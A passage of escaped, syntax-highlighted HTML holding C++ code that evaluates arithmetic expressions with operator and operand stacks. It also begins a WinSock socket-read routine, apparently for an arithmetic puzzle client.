class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;WinSock2.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;stack\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003epragma\u003c/span\u003e comment(lib,\u003cspan class=\"meta-string\"\u003e\u0026#34;Ws2_32.lib \u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estack\u0026lt;\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e\u0026gt;operators;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estack\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; operands;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eprocess\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e operation = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperators.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a = operands.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e(); operands.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b = operands.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e(); operands.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e\u003c/span\u003e (operation) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(a + b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(b - a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(a*b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (b%a)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//不能整除的话与咸鱼何异\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(b / a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ecal\u003c/span\u003e\u003cspan class=\"params\"\u003e(string expr)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operators.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e())operators.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operands.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e())operands.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; expr.\u003cspan class=\"built_in\"\u003elength\u003c/span\u003e(); i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expr[i] == \u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expr[i] == \u003cspan class=\"string\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e || expr[i] == \u003cspan class=\"string\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operators.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e() \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e((temp = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e()) == \u003cspan class=\"string\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e || temp == \u003cspan class=\"string\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e || temp == \u003cspan class=\"string\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e || temp == \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprocess\u003c/span\u003e() == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperators.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(expr[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expr[i] == \u003cspan class=\"string\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e || expr[i] == \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operators.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e() \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e((temp = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e()) == \u003cspan class=\"string\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e || (temp = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e()) == \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprocess\u003c/span\u003e() == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperators.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(expr[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e num = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i\u0026lt;expr.\u003cspan class=\"built_in\"\u003elength\u003c/span\u003e() \u0026amp;\u0026amp; expr[i] \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u0026amp;\u0026amp;expr[i] \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;9\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enum *= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enum += expr[i] - \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (operands.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() \u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprocess\u003c/span\u003e() == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e operands.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"title\"\u003eto_symbol\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e\u003c/span\u003e (i) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;*\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSOCKET server;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e\u003cspan class=\"params\"\u003e(string \u0026amp;i)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(buffer, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e 